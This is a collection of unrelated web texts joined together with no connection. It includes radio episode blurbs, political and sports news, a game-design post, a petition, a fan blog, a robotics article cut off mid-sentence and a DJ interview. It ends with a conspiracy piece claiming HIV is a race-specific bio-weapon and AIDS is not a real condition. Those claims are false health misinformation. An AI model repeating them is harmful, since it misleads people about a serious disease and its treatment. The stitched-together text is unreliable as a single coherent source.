Description This week on WireTap, Howard teaches Jonathan how to say "Yes" to life. Should Jonathan be more spontaneous? Yes. Should he climb more trees? Yes. Should he give that mangy, rabies infested alley cat a hug? Yes! Plus, Buzz reminisces about his old friend Lenny and Gregor tries to convince Jonathan to take to the sea. Go To Episode Page
Description A man hears the voice of God. The voice commands the man to go to the evil land of Nineveh to warn its people to repent. The man, not too keen on evil lands-- or travel, altogether--decides to ignore the voice. God, not one for being ignored, sends a giant fish to swallow the man. In the fish, the man becomes bored. Very bored. It's the story of Jonah and the Great Fish on this week's Wiretap. Go To Episode Page
Description Gregor encourages Jonathan to embrace his cavemen roots by joining the Barefoot Movement. Plus, Howard sets up a live puppy cam of his pet pugs to share their cuteness with the world. *Disclaimer: Please note that no animals were harmed during the recording of this episode. Go To Episode Page
Description Jonathan finds out his radio show has won an award. The trouble is, it's not in a particularly flattering category. Plus, Howard Chackowicz becomes an International Ladies Man. Go To Episode Page
Description Howard enlists Jonathan to help him mentor troubled teens at the local community center. And Jonathan reads "Five Visits with Dina and Buzz", about his parents, in front of a live audience in Vancouver. Plus, a musical performance by Hannah Georgas. Go To Episode Page
Description Jonathan discovers a fake Jonathan Goldstein posing as the real thing on Twitter. Tune in to the Jonathan Goldstein showdown as the real Jonathan confronts his imposter. Plus, musical guest Hannah Georgas. Go To Episode Page
Description Jonathan reads his story of Cain and Abel in front of a live audience in Vancouver, during the 2010 Olympic Games. Plus, musical guest Hannah Georgas is on hand to play a few tunes. Go To Episode Page
Description Ever wondered what the word "love" tastes like? How about the word "word"? This week on Wiretap, we speak with a woman who can tell you just that. Plus, Howard discovers his new passion for winemaking. Go To Episode Page
Description Howard discovers his sensitive side and becomes an artist. Plus, Josh tries to quench his thirst for knowledge by going back to school, and Gregor reveals how he's been keeping close tabs on Jonathan's comings and goings. Go To Episode Page
Description Starlee Kine recounts her experience with a self-help movement that promotes telling the truth, the whole truth and nothing but the truth. Plus, Howard discovers Radical Honesty... and Jonathan pays the price. Go To Episode Page
Description Howard finds freedom on the open road in his new life as a trucker, and Jonathan faces the wrath of Gregor's mother. Plus, Angst, a short story from David Eagleman's book Sum: Forty Tales from the Afterlives. Go To Episode Page
Description Jonathan solves the case of his missing office chair after two days of hovering over his desk, and Gregor tests Jonathan's deductive skills with some One-Minute mysteries. Plus, Howard embraces his new british accent. Go To Episode Page
Description A mother is pregnant with twins. She hears the voice of God which tells her that her sons will one day father warring nations. Even while still inside her stomach, they fight hard enough to knock her from one end of the house to the other. Is there any hope of the brothers ever becoming friends? It's the story of Jacob and Esau on this week's Wiretap. Go To Episode Page
Description Howard puts his and Jonathan's compatibility to the test with a relationship quiz, and newlyweds Tony and Natalie enlist Jonathan for some over the phone marriage counseling. Plus, Adhesion, a short story from David Eagleman's book Sum: Forty Tales from the Afterlives. Go To Episode Page
Description Howard launches "Johnny 2.0", a monolog machine that can stand in for Jonathan when he goes on vacation. Plus a conversation with Dr. Noel Sharkey, professor of Artificial Intelligence and Robotics, and "Spirals", a short story from David Eagleman's book Sum: Forty Tales from the Afterlives. Go To Episode Page
Description Jonathan enlists help from Rap Master Maurice to avenge him with some vigilante raps. Plus, a short story from David Eagleman's book Sum: Forty Tales from the Afterlives. Go To Episode Page
Description Howard starts his very own country within the borders of his apartment: the first nation with wall-to-wall carpeting. Plus, Gregor makes Jonathan a personalized mix-tape to help him seduce the ladies, and Patri Friedman discusses his latest project, the Seasteading Institute. Go To Episode Page
Description Jonathan and Gregor take a ride in the Wayback Machine to find out what it would have been like if they were the Marx Brothers. Plus, Josh invents his own brand of cola and uses Jonathan as a guinea pig in a blind taste test. Go To Episode Page
Description A friend of Howard's tries to get Jonathan to invest in some groundbreaking inventions: A toothpaste dispensing toothbrush, a lie-down toilet, edible pen tops... Plus, an automated relationship replacement hotline that helps mend broken hearts. Go To Episode Page
Description Howard puts his financial journalism skills to the test as he interviews Planet Money's Alex Blumberg about the economic crisis. Plus, Jonathan offers up some business tips to help his goddaughter with her lemonade stand. Go To Episode Page
Description Jonathan speaks with a young man who is on a quest to find the girl of his dreams...literally. Plus, Jonathan and Josh debate whether there ever existed a high-end poutine restaurant called Raspoutine, and Tucker takes offense to making an appearance in one of Jonathan's dreams. Go To Episode Page
Description Worried about what would happen to your pets in the event of the Rapture? Put your fears to rest as we speak with Bart Carter, an atheist who has post-rapture animal rescue all figured out. Plus, Jonathan pet sits Howard's pugs, Desmond and Bruce. And a short story from David Eagleman's book Sum: Forty Tales from the Afterlives. Go To Episode PageGet the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Fianna Fail has said more needs to be done to ensure the safety of cyclists on Dublin roads.
The party's Dublin spokesman, John Lahart made the call following a number of recent serious accidents and fatal collisions in the city.
The Dublin South West TD said: “Great progress has made in recent years to encourage people to leave their cars at home and to instead cycle to work.
"Almost 15.5 million trips have been taken on Dublin Bikes since it began operating in 2009.
"Fianna Fail has always been a party which prioritises sustainable transport and has been the party which has done the most to advance transport initiatives introducing the Bike to Work Scheme.
(Image: Twitter/@JohnLahart)
"In fact the number of cyclists in Dublin city has more than doubled over the last decade yet there has been little investment to provide safe and accessible cycling lanes.
“The issue of safety for cyclists is one that constituents regularly contact me about to raise their concerns.
"Any measures that make roads safer for cycling and walking must be welcomed.
"However, it is crucial that any new safety planning initiatives are scrutinised to ensure that they are enforceable and that they do not have unintended consequences."
He continued: “Cycling is a healthy, environmentally friendly way of travelling which must continue to be supported.
"Fianna Fáil supports the extension of cycle lanes and the expansion of the Dublin Bikes scheme into the suburbs of Dublin and the other Dublin local authority areas; Fingal, South Dublin and Dun Laoghaire-Rathdown.
"Key to the successful implementation of responsive design solutions to promote pedestrian and cyclist safety and comfort, is the issue of speed.
"The introduction of the 30km/hr limit is a starting point, but it is just one element of the greater, broader initiative that is required the tackle the increasing dangers on our capital’s roads."June 27, 2012
Yesterday, New York Attorney General Eric T. Schneiderman issued a subpoena targeting a foundation affiliated with the U.S. Chamber of Commerce for illegally funneling $18 million to the Chamber for its political campaigning and lobbying efforts.
The New York Times reports:
The investigation is also looking at connections between the chamber’s foundation, the National Chamber Foundation, and another philanthropy, the Starr Foundation, which made large grants to the chamber foundation in 2003 and 2004. During the same period, the National Chamber Foundation lent the chamber $18 million, most of it for what was described as a capital campaign.
Watchdog groups claim that the grants given to the National Chamber Foundation from the Starr Foundation had subsequently been loaned to the Chamber of Commerce to be used to finance lobbying in Congress and run issue advertising in the 2004 presidential and Congressional elections.
Schneiderman’s investigation is significant because it targets the use of tax-exempt groups that funnel money into politics while hiding donors:
The biggest such groups, including Americans for Prosperity, which is backed by the billionaire brothers Charles and David Koch, and Crossroads Grassroots Policy Strategies, which was founded by Karl Rove and other Republican strategists, are expected to spend hundreds of millions of dollars this year on issue advertisements against candidates to sway the outcome of the presidential and Congressional elections.
By targeting the U.S. Chamber of Commerce, Schneiderman is striking at one of the largest political players in the country. In 2011 alone, the Chamber spent $66 million on lobbying and has promised to spend at least $50 million on issue ads on the upcoming elections.Firebrand Philippine President Rodrigo Duterte said Monday he would cancel an order for about 27,000 American-made assault rifles, in his latest display of defiance against the United States.
The rifles were due to be provided to the Philippine police but Duterte said he would look for cheaper alternatives.
"The (rifles) that were ordered already, I am ordering the police to cancel it. We'll just have to look for another source that is cheaper and maybe as durable and as good," Duterte said.
Philippine President Rodrigo Duterte gives a speech in Manila on November 3, 2016 ©Noel Celis (AFP/File)
The status of the order had become cloudy over the past week after the Philippine media reported the US government would not deliver the weapons because of concerns about Duterte's war on drugs and other crime, which has claimed more than 4,100 lives in four months.
Duterte's spokesman said last week those reports were not accurate, and the US arms would be delivered as promised. But the president also made comments last week which appeared to indicate he believed the Americans had cancelled the planned delivery.
Since taking office on June 30 Duterte has launched repeated tirades against the United States for criticising his drug war and said he wants to loosen the Philippines' dependence on its former colonial ruler.
The United States and the Philippines are bound by a mutual defence pact, but Duterte has said he wants to kick out American forces.
On a state visit to Beijing last month he announced the Philippines' "separation" from the United States and declared he was in China's "ideological flow".
Duterte walked back from those remarks after returning to the Philippines, saying he would not sever ties with the United States.As we've tuned the visuals on Taric's co-stars, the crystal-coated, pizza-footed Demacian has begun to feel like an eyesore by comparison. Couple his outrageous visuals with an outdated kit, and we had a prime candidate for a rework—but our goal wasn't to completely replace him. Instead, we sent the Gem Knight on an epic journey to transform him into the Shield of Valoran.
Finding grace atop the mountain
When we originally created Taric, we came up with this pretty vague backstory about him being a space alien obsessed with gems. As a result, most players had the impression that he was just a weird dude who's always moaning about gems. The challenge was to write a story that could turn Taric into a believable character with a purpose and a justifiable explanation of his obsession with geology.
We began by looking for a place for Taric to live that fit him thematically. He's supposedly a Demacian, but nothing about his gameplay or pointy wardrobe particularly fit that region's theme. Our first impulse was to do away with that aspect of his story and reinvent him from scratch, but we had a better idea: what if we made the old Taric better by giving him a second act? We began writing a draft for "chapter two" in the tale of the Gem Knight: one which would send Taric on a perilous journey up the epic Mt. Targon.
Sometimes, as with Sion, we actually do have to melt a character down and start fresh when we rework them, but we prefer to avoid complete retcons when we can. “My personal mandate is do no harm and make it better,” says senior narrative writer George "Glorft" Krstic. “Don’t wreck a champ by destroying the things that players really like. You can’t make Wolverine suddenly not have claws.”
Upon reaching the summit, Taric fought and defeated a celestial entity known as "The Protector." The epic creature was impressed by Taric's determination, and it bestowed new protective powers upon the fallen Demacian. Thus the Gem Knight became Valoran’s Shield.
The newer, more glorious Taric is the same absurdly handsome Demacian you know and love. But his new story tells how he fell from grace, then found it again atop Mt. Targon. Taric's journey redefines him as someone who fights for beauty, who defends the delicate. He'd fight two armies at once to defend a flower (or two juggernauts at once to defend an Ezreal ADC, which is sort of the same thing).
Taric's trip to the mountaintop gave him new purpose, but he needed more than that before he was ready for the Rift. He needed some fresh duds.
Shine bright like a diamond
Old Taric’s model is the most conspicuously heinous aspect of the champ; it's about 75 percent gems and crystals exploding out of every part of him. Frankly, it doesn’t look like it belongs in a video game from this decade.
But his crystals don't have to look bad, nor should his epic, flowing, cover-of-a-romance-novel hair. We wanted to keep both of these things but execute them in a way that felt in tune with our current standards. Once we got Taric near Mt. Targon, we just needed to ask ourselves what his crystals actually are: Are they like regular gemstones that you could mine and find in the ground, or might they be something more interesting? We landed on the idea that the crystals represent a power that Taric received during his journey up Mt. Targon.
The crystals aren't stones; they're made of starlight. Throw away your physics textbook, unfollow Neil deGrasse Tyson on Twitter, and believe us when we tell you that if you slow down starlight and concentrate it, it will condense into a solid object imbued with strange, kinetic powers. These crystals (or gems, if you will) are the source of Taric's newfound powers.
To preserve Taric's unique vibe, we tuned up the over-the-top visual aspects of his visual design. When the Shield of Valoran struts around the Rift, his luscious mane flows wildly behind him, as if he’s constantly standing near a fan. It’s longer, wavier, more eye-catching. This is a man who could star in a shampoo commercial. And you'd buy that shampoo.
Emphasizing the best parts of Taric meant embracing and surgically enhancing his masculine, handsome beauty. We gave Taric's base model a stronger jaw and gave his jacket a plunging V-neck. In early playtests, we had his V-neck going to the bottom of his pecs, but during internal testing a few Rioters gave the feedback that the V-neck needed to reveal more, to go deeper. They wanted all the Taric they could get. So deeper we went.
Functional and stylish
Old Taric's kit wasn't obviously terrible, but it did suffer from one big problem: almost nothing he did felt or looked impactful. The Taric player pressed a button, and that caused something to happen, but the result was rarely clear to everyone in the fight. Playing as old Taric rarely offered you the chance to feel the sparkling glee of landing a Lux Q or the earth-shattering BOOM of a Malphite ult—the fun was all in quietly prolonging fights while shrugging off truly outrageous amounts of damage. His abilities were functional, but we needed to make them stylish.
This was in part a visual clarity issue, but it was also a result of how widely dispersed and invisible Taric's abilities were—it mattered to the team as a whole when Taric gave 12 percent of his armor to his teammates, but those players were unlikely to notice the impact on their individual play and react accordingly. To make abilities feel more impactful, we make them more concentrated; so we killed some of his messy stat-boosting abilities and replaced them with noticeably flashier moves like his new ult, Cosmic Radiance, which grants his allies temporary invulnerability. You'll feel like a star when it hits.
Point-and-click abilities have their place, but Taric's old stun was taking up far too much of his power budget. By turning his E (Dazzle) into a skillshot, we were able to ramp up its potential power (it now stuns all struck enemies instead of just one targeted baddie) in lieu of the lower guaranteed power of his old on-click ability. Talented Taric players will have more, clearer opportunities to make lock-down plays for their team, and bad Taric players will have more opportunities to disappoint you.
Taric is still a tank, and he still heals his friends with his Q (Starlight's Touch), but the crystal-sharing mechanic of his new W (Bastion) further cements Taric's role as a protector of those in need. That the Shield of Valoran can only link up with one ally at a time would suggest that he's best when he focuses on helping only that champion, but this isn't the case; he can use his Bastion-buddy as a way to be two places at once, both stunning enemy backline carries and peeling for his own squishies as needed. He's here healing his Wukong, there peeling for his Lucian. Taric is everywhere, always protecting those in need.
Taric has descended from Mt. Targon and is looking gorgeous on the PBE now. Expect to feel the protective embrace of his crystals soon.A 2011 memo from top Bill Clinton aide Douglas Band, published by WikiLeaks, details “a circle of enrichment in which [Band] raised money for the Clinton Foundation from top-tier corporations such as Dow Chemical and Coca-Cola that were clients of his firm, Teneo, while pressing many of those same donors to provide personal income to the former president,” reports The Washington Post.
The Post continues:
The system has drawn scrutiny from Republicans [and progressives], who say it allowed corporations and other wealthy supporters to pay for entree to a popular former president and a onetime secretary of state who is now the Democratic presidential nominee. … The memo, made public Wednesday by the anti-secrecy group WikiLeaks, lays out the aggressive strategy behind lining up the consulting contracts and paid speaking engagements for Bill Clinton that added tens of millions of dollars to the family’s fortune, including during the years that Hillary Clinton led the State Department. It describes how Band helped run what he called “Bill Clinton Inc.,” obtaining “in-kind services for the President and his family — for personal travel, hospitality, vacation and the like.”
Band grew close to Clinton during the ’90s as his personal aide in the White House and became “the architect of his post-presidential activities,” the Post reports. In the memo, Band argues that his work and the work of his firm benefited the former president and his family’s foundation:
“We have dedicated ourselves to helping the President secure and engage in for-profit activities,” Band wrote. He added that he had “sought to leverage my activities, including my partner role at Teneo, to support and to raise funds for the foundation.”
The Post continues:
Band’s memo provided data showing how much money each of Teneo’s 20 clients at the time had given to the Clinton Foundation, how much they had paid Bill Clinton and, in some cases, how he or Kelly had personally forged the relationships that resulted in the payments. Band wrote that Teneo partners had raised in excess of $8 million for the foundation and $3 million in paid speaking fees for Bill Clinton. He said he had secured contracts for the former president that would pay out $66 million over the subsequent nine years if the deals remained in place. For instance, Band wrote that Kelly arranged for the former president to meet the chief executive of Coca-Cola in January 2009 at the Clintons’ home in Washington. In all, according to Band’s memo, Coke had contributed $4.33 million to the foundation between 2004 and 2010. … Band also described how Kelly helped expand a fruitful relationship with UBS Global Wealth Management, introducing Bill Clinton to a top executive at a 2009 charity dinner. In the ensuing years, UBS upped its giving to the foundation, signed on as a Teneo client and agreed to pay Bill Clinton for speeches, Band wrote. Records show UBS paid Clinton about $2 million in speaking fees between 2011 and 2015 for a series of appearances, generally alongside former president George W. Bush. The company also paid Hillary Clinton $225,000 for a 2013 speech. … Another achievement cited by Band: Laureate International Universities, a chain of for-profit international colleges, which donated to the foundation and agreed to pay Bill Clinton $3.5 million a year to serve as honorary chancellor.
Companies aligned with the Clinton Foundation paid several million dollars to Teneo for consulting services. The Post reports that a spike in payments from Dow “raised red flags for an internal company fraud investigator, who expressed alarm that it may be linked to Bill Clinton’s work with a charity founded by Liveris—a charge the company denied.” The investigator wrote: “It appears Dow is paying Teneo for connections with Clinton.”
—Posted by Alexander Reed KellyNov 5, 2013; Toronto, Ontario, CAN; Miami Heat center Joel Anthony (50) warms up before playing against the Toronto Raptors at Air Canada Centre. The Heat beat the Raptors 104-95. Mandatory Credit: Tom Szczerbowski-USA TODAY Sports
If you were expecting this to be another ordinary Wednesday in the NBA, three teams had another thing coming for you. The Miami Heat, Boston Celtics and Golden State Warriors all gathered together and pulled the trigger on a three team deal that sent Jordan Crawford and MarShon Brooks to Golden State, as well as Toney Douglas to the Heat and Joel Anthony to the Celtics.
The trade was announced early Wednesday afternoon and comes on the heels of trade rumors involving the Warriors search for guard depth.
Miami entering talks was a late development, as the trade was initially announced by Adrian Wojnarowski as being between the Celtics and Warriors. Miami entered talks to help balance things out as they are sending a draft pick to Boston along with Joel Anthony.
As part of three team trade, Toney Douglas will go to the Miami Heat, league source tells Yahoo Sports. Joel Anthony goes to Boston. — Adrian Wojnarowski (@WojYahooNBA) January 15, 2014
From Miami, Boston will also receive Philadelphia’s projected future first-round pick and a future second round pick, league source tells Y — Adrian Wojnarowski (@WojYahooNBA) January 15, 2014
Interestingly enough, Crawford was a name being rumored as going to the Heat earlier in the season, and while the Heat are involved in a trade that sends Crawford to another team, he isn’t heading to Miami. Still, the Heat have added guard depth with the veteran Douglas and everyone seems to have won in this three-way deal.Petition to Department of Justice:
Millions of Americans rely on their local TV stations for important news and information. If allowed to proceed, the Sinclair–Tribune merger would give Sinclair Broadcasting Group a veritable monopoly on local news. Sinclair is known to force its local stations to provide slanted coverage of politics and world events, and muscle out local coverage in favor of “must-run” segments that reflect the political leanings of its ownership. Americans have a right to unbiased news and diverse points of view. Please block the Sinclair–Tribune merger.
Sinclair Broadcasting Group is “the most dangerous company most Americans haven’t heard of,” in the words of former FCC Commissioner Michael Copps. “No one company should have such power over the news and information that citizens must have.”1
But that’s exactly what will happen if Sinclair’s bid to purchase Tribune Media is allowed to go through. Sinclair already owns 173 local TV stations – more than any other company in the United States. If allowed to buy Tribune Media, Sinclair will have access to 72% of the American local TV news market – a veritable monopoly.
Even conservative outlets like Glenn Beck’s The Blaze and One America News are speaking out against this merger.2
Tell the Department of Justice: Block the Sinclair–Tribune merger!
Sinclair made headlines this past election when it was revealed that it made a deal with Jared Kushner, Donald Trump’s son-in-law, to get special access to the campaign.3 An analysis of the company’s election commentary and segments show a strong tilt in favor of Trump.4
2016 isn’t the first time Sinclair has used its enormous platform to support policies it likes or influence the outcome of presidential elections.
In 2004, Sinclair forbid its ABC affiliates from airing a Nightline broadcast that read aloud the names of every service member killed in Iraq, claiming the sole purpose of the exercise was to hurt then-President George W. Bush. That same year, Sinclair planned to air a documentary questioning Democratic nominee John Kerry’s war record, before reversing course under public pressure.5
During the 2010 midterms, it distributed an infomercial paid for by a Republican PAC claiming President Obama raised money from Hamas, and in 2012, it aired an Election-eve special in four battleground states attacking Obama and the Affordable Care Act.6
It’s clear Sinclair is not in the business of producing the best possible local news coverage, but in using its vast platform to further the political beliefs of its owners. A merger between Sinclair and the Tribune would be a disaster for consumers and bad for our democracy.
Tell the Department of Justice: Stop the Sinclair–Tribune Merger!Rezwan Ferdaus, a 26-year-old U.S.-born citizen of Bangladeshi origin, was arrested in September 2011 for plotting to attack the Pentagon and the Capitol Building with remote-controlled model airplanes carrying C-4 explosives, as well as for providing material support to al Qaeda. He pled guilty in federal district court in Boston and, in November 2012, was sentenced to 17 years in prison. Ferdaus's arrest was controversial in some quarters because it came out of an FBI sting operation and thus raised the specter of entrapment. Counterterrorism sting operations and the resulting controversy have become a routine feature of national-security law enforcement. Just last week, the trial began of Mohamed Osman Mohamud, a 21-year-old Somali-American nabbed in an FBI sting involving a plot to detonate a bomb in downtown Portland, Oregon. Mohamud's defense counsel, while admitting Mohamud's involvement, asked in his opening statement, "Did the government create the crime?... Did the F.B.I. foil its own plot?"
In this episode of the podcast, I spoke to Miriam Conrad, Ferdaus's defense attorney and Federal Public Defender for the districts of Massachusetts, New Hampshire, and Vermont, about the case and counterterrorism sting operations more generally.President Donald Trump said Friday he is not recertifying the Iran nuclear deal, which sets off a 60-day process for Congress to debate the issue.
Trump made the announcement during a White House speech Friday afternoon.
"As I have said many times, the Iran deal was one of the worst and most one-sided transactions the United States has ever entered into," Trump said.
Story continues below video.
"Based on the factual record I have put forward, I am announcing today that we cannot and will not make this certification. We will not continue down a path whose predictable conclusion is more violence, more terror, and the very real threat of Iran's nuclear breakthrough. That is why I am directing my administration to work closely with Congress and our allies to address the deal's many serious flaws so the regime can never threaten the world with nuclear weapons."
The Iran nuclear deal, which was negotiated and signed during the Obama administration, has been the subject of much debate. Critics of the agreement say it does not go far enough to limit Iran's nuclear weapons program.
The deal must be recertified every 90 days by the sitting U.S. president. Not doing so is not the same as withdrawing from the agreement, however. The action Trump took Friday gives Congress the power to come up with new terms.
"My fellow Americans, as president of the United States my highest priority is to ensure the safety and security of the American people. For this reason, I have ordered a complete strategic review of our policy toward the rogue regime in Iran. That review is now complete," Trump said Friday before announcing his administration's new stance on Iran and the nuclear agreement.
The president listed several occasions in which Iran has attacked Americans over the years and has taken part in and funded terrorism.
"The regime remains the world's leading state sponsor of terrorism," Trump said.
"The regime's two favorite chants are "Death to America" and "Death to Israel."
Trump said the nuclear deal gave Iran "a political and economic lifeline," alluding to the $1.7 billion that the U.S. gave to Iran as part of the agreement.
"Just imagine the sight of those huge piles of money being hauled off by the Iranians, waiting at the airport for the cash. I wonder where all that money went."
Trump said America's new Iran policy includes placing sanctions on Iran to combat its terrorism activities and doing whatever it takes to prevent Iran from obtaining a nuclear weapon.
The president tried to lay out a strong case to support his decision not to recertify the nuclear deal, referencing both the flaws he sees in the agreement and also Iran's violations of it since it was made official in January 2016.
"The Iranian regime has committed multiple violations of the agreement," Trump said. "For example, on two separate occasions they have exceeded the limit of 130 metric tons of heavy water. Until recently, the Iranian regime has also failed to meet our expectations in its operation of advanced centrifuges.
"The Iranian regime has also intimidated international inspectors into not using the full inspection authorities that the agreement calls for."
Trump added that if Congress is unable to come up with language and terms that, in his view, improve the agreement, he will take action to withdraw the U.S. from it.
"In the event we are not able to reach a solution working with Congress and our allies, the agreement will be terminated," Trump said. "It is under continuous review and our participation can be canceled by me as president at any time."
The White House's new Iran policy also plays hardball with Iran's Islamic Revolutionary Guard Corps (IRGC), placing tough sanctions on the group Trump said has participated in and funded terrorism over the years.
"The Revolutionary Guard is the Iranian supreme leader's corrupt personal terror force and militia," Trump said. "It has hijacked large portions of Iran's economy and seized massive religious endowments to fund war and terror abroad."
Trump's examples of the IRGC's activities included sending missiles and other weapons to Syria and planning and launching terror attacks overseas and in the U.S.
"I am authorizing the Treasury Department to further sanction the entire Islamic Revolutionary Guard Corps, to apply sanctions to its officials, agents, and affiliates," he said.
The IRGC has tousled with American warships in the Persian Gulf on several occasions in recent years, taunting the ships to the point that U.S. personnel fired warning flares to ward off the fast-approaching boats.
The IRGC also took 10 U.S. sailors hostage in a January 2016 incident that Iran claimed took place after two U.S. Naval boats strayed into Iranian waters. The sailors were released 15 hours later.Visit to the HBO Game of Thrones Store
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This post has nothing to do with food. It has to do with my obsession with A Song of Ice and Fire. If you have not read ASOIAF, get to it. George R.R. Martin may be the best writer of our time and each day that you have not read this series is a day wasted.
This past Sunday (GOT day), I decided to hit up the HBO store. I knew they had recently put up some costumes and paraphernalia from the show. I hit up the Standard hotel for food (review will probably be written right after this post) and headed back uptown for the store.
The first thing I saw upon walking in was Cersei’s green bird dress. The craftsmanship on this piece was gorgeous. If HBO was smart, they’d sell copies at the store. I’ll be hitting up Etsy soon for my Halloween garb.
Melisandre was next. Her outfit was nothing spectacular, but her neck piece was impressive. On the show, this is the only character where I’m not in love with the casting…I guess we’ll have to see what happens as the season develops.
Renly’s outfit was my favorite. It is armor, covered in velvet. Luxurious yet practical!
Jon stood next to Danny. The details were incredible. Jon even had an underskirt to keep out the snow and cold.
Danny’s Dothraki costume was coarse, felt primitive, and did not look comfortable in the least. Also at the store were:
Viserion, Rhaegal and Drogon
Eddard Stak’s Head
Robert Baratheon’s Crown
If you are just getting into the books, Westeros is a great source. Just watch for spoilers. If you want to learn more about the author, check out his website.
And if you’re wondering where my loyalties are: “Hear Me Roar!”
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commentsPhoto: EPFL
Most of the educational robots that we hear about are designed to teach kids how to code. This is good and important and a thing we are in favor of, but robots are also useful in classroom settings even when they’re not teaching programming or computer science principles directly. EPFL’s Cellulo Project is exploring how small, inexpensive robots can leverage autonomy and interactivity to help kids learn with their hands.
Cellulo robots are designed from the start to be “kid-proof.” You can grab them and shove them around without worrying about breaking anything, and they’re resilient to the sort of rough handling that children are well known for. The top of each robot features six illuminated buttons, while on the bottom are three permanent-magnet assisted omnidirectional ball drives that enable holonomic motion. Overall, the intent is to make Cellulo reasonably cheap: It’s almost entirely off-the-shelf parts, and the research versions cost US $135 each.
Photo: EPFL
To localize, the robots use a downward-pointing camera mounted underneath: They can tell where they are by looking at “a dense, deterministic and well defined optical microdot pattern printable on regular office printers, with enough x, y space to cover over 170 million km2 with unique patterns.” This means that you could cover the entire land area of the Earth with unique microdot patterns and still have plenty to spare, which (if we could pull it off) would make deploying autonomous robots a heck of a lot easier.
Using a |
Hi-Yahs: Yea, I have been able to connect with Bro Safari on 2 separate occasions but never really got around to talking about collaborating. I still send him tracks on a regular basis though and I would love to work with him one day.
FUXWITHIT: What is it like working with some of the biggest labels in the industry? How has it impacted your career?
The Hi-Yahs: It’s very cool and I get access to a lot of music way before anyone else does. The coolest thing about working with large labels is being able to work the big artists in the scene that you once looked up to.
FUXWITHIT: All of your releases are accompanied by a Free Download. Why do you feel it is important to provide your fans with free music?
The Hi-Yahs: Always loved buying music from my fav artists but with edm the music comes out so often that it ends up putting a toll on your bank account. So with free music I can get my name out there and it keeps my fans from breaking the bank on my tunes so they can come support me at shows.
FUXWITHIT: Do you prefer to DJ or produce? Why?
The Hi-Yahs: They are both so different but equally entertaining that choosing one over the other is impossible. I can tell you that I do look forward to DJing on the weekends more then I look forward to producing when I get home, but producing is on mind like 90% of the time though.
FUXWITHIT: You’ve produced music in a variety of musical genres including Trap, Moombahton, Nu-Disco, House and more. Is there any genre that you’ve yet to explore that interests you?
The Hi-Yahs: There are a lot of styles of dance music that I have made but have yet to release them due to me wanting to keep them as secret weapons in my sets. But I have been playing a lot of jersey club over the past year and haven’t really made any of it yet so that’s one of the genres I plan on diving into. Also electro swing caught my eye a few years ago and I have been dying to make it but never got around to it.
FUXWITHIT: You recently produced a track for Waka Flocka. How did that come about? Did you get a chance to collaborate in studio together?
The Hi-Yahs: My friend FR4NCIS that I did the track with does a lot of hip-hop production and he came to me with the idea for the track. He already had the vocals from Waka and Kalyko so I didn’t get a chance to work with them in the studio. Most of the time when you do collabs with artists everything is passed back in forth via email.
FUXWITHIT: A lot of people are saying that Trap is dead, oversaturated or played out. What are your thoughts on the current state of Trap music?
The Hi-Yahs: I feel like trap is far from dead and it’s getting bigger in the states with the emergence of chill trap/future bass and twerk/mid-tempo music becoming a dominate sub-genre. Also the market overseas in Europe and Australia is insane. I do agree that it is slightly oversaturated with mediocre music but that happens to any genre when it reaches high levels of popularity.
FUXWITHIT: Your fan interaction is second to none. From personally replying to nearly everyone on your Facebook to inviting fans to come and talk to you at shows. Why is this personal interaction so important you?
The Hi-Yahs: I know from past experience that one of the greatest feelings is getting a personal response back from one of your favorite artists and it can make your shitty day or week a lot better. So with that being said if I can provide any type of happiness to a person’s life I will go out of my to do it. (That sounds so corny, lol).
FUXWITHIT: Tell me about your craziest fan experience.
The Hi-Yahs: I think have one crazy fan experience. It occurred last summer and not sure of the city because promoters have a tendency to book early am flights after having me play 1-3 am sets which in turn everything blends together. Sorry end rant and back to the story. I remember being about a hour into my set and was going from moombah to twerk music and a bunch of girls hopped on stage and started twerking as usual lol. One of them tapped me on the shoulder and handed me a shot, so of course I took the shot then I turned to thank her but instead of her saying you are welcome she open mouth kissed me then she hopped of stage to dance with a dude that could have been her boyfriend. After my set she just left so either I am a terrible kisser or her boyfriend was mad.
FUXWITHIT: What makes The Hi-Yahs DJ sets special or unique?
The Hi-Yahs: I think it’s maybe the amount of genres I play in my sets that makes them unique because you never know what style I am going into next. But what makes them special is that over half of the songs you hear that night you may have never heard before or have even heard of the artist that made it. I am always supporting new artists so I play out a lot of stuff I get from up and coming artists.
FUXWITHIT: Can you give us a few up-and-coming artists that we should be on the lookout for? You mentioned Trippy Turtle, Juyen Sebulba, Victor Niglio and Cry Wolf in a previous interview. All of which are doing pretty big things right now.
The Hi-Yahs: I love getting asked this question because there is so much talent. I can name like 2 dozen artists but I will give you this small list of dope artists: (ABC Order) Alean and Skyy, Foxsky, Goon Bags, Happy Colors, Maison Cartel, Our Time, Rickyxsan and TAGRM aka The Al Gore Rhythm Method.
FUXWITHIT: What can we expect next from you in terms of upcoming releases?
The Hi-Yahs: Brand new 100bpm mid-tempo remix I made for a Brazilian rap group just got released a few days ago and was featured in Rolling Stone Brazil. (You can check the article here).
I got some Melbourne and some big room coming out as well. Plus I got a really ignorant trap remix coming out soon that I did with my good friend ‘Pass The 40’ (Main Course Artist).
FUXWITHIT: What was it like to be featured in Rolling Stone (Brazil)? How does that rank among your career achievements?
The Hi-Yahs: It’s pretty F-ing Amazing!! Not in my wildest dreams would I ever expect to be in Rolling Stone. This ranks really high up there in career achievements, its up there with Tiesto dropping one of my tracks on his radio show. Crazy!!
FUXWITHIT: Any final words for your fans?
The Hi-Yahs: I am always giving out tickets to my shows so if you happen to be in a city I am playing in then hit me up on Facebook or Twitter and I will hook you up.
Be sure to follow The Hi-Yahs on Facebook, Twitter, & SoundCloud.
Follow FUXWITHIT on Facebook and Twitter.Some people will always believe what they are told by the media and government while others will eventually believe the overwhelming evidence, but whichever camp you’re in come along with us for our series on the Most Controversial Conspiracy Theories of All Time.
Was AIDS intentionally created in a lab?
Or more accurately, was the HIV virus was created in a lab? Some believe it was as you will learn in the documentaries linked below. Others believe tainted polio vaccines spread it. And those are NOT the ONLY theories.
U.S. Doctor Dr. Boyd Graves has said for years that
The HIV Virus is a race specific bio-weapon.
WHAT IS AIDS?
What is called AIDS is a collection of symptoms statisticians choose to lump under one name – not an actual condition:
“The Centers for Disease Control and Prevention determined that every case of AIDS includes one of the 29 pre-existing illnesses that were defined by the CDC.” ~ Newscast Media Aids Hoax: The Truth Behind the Virus That Never Was.
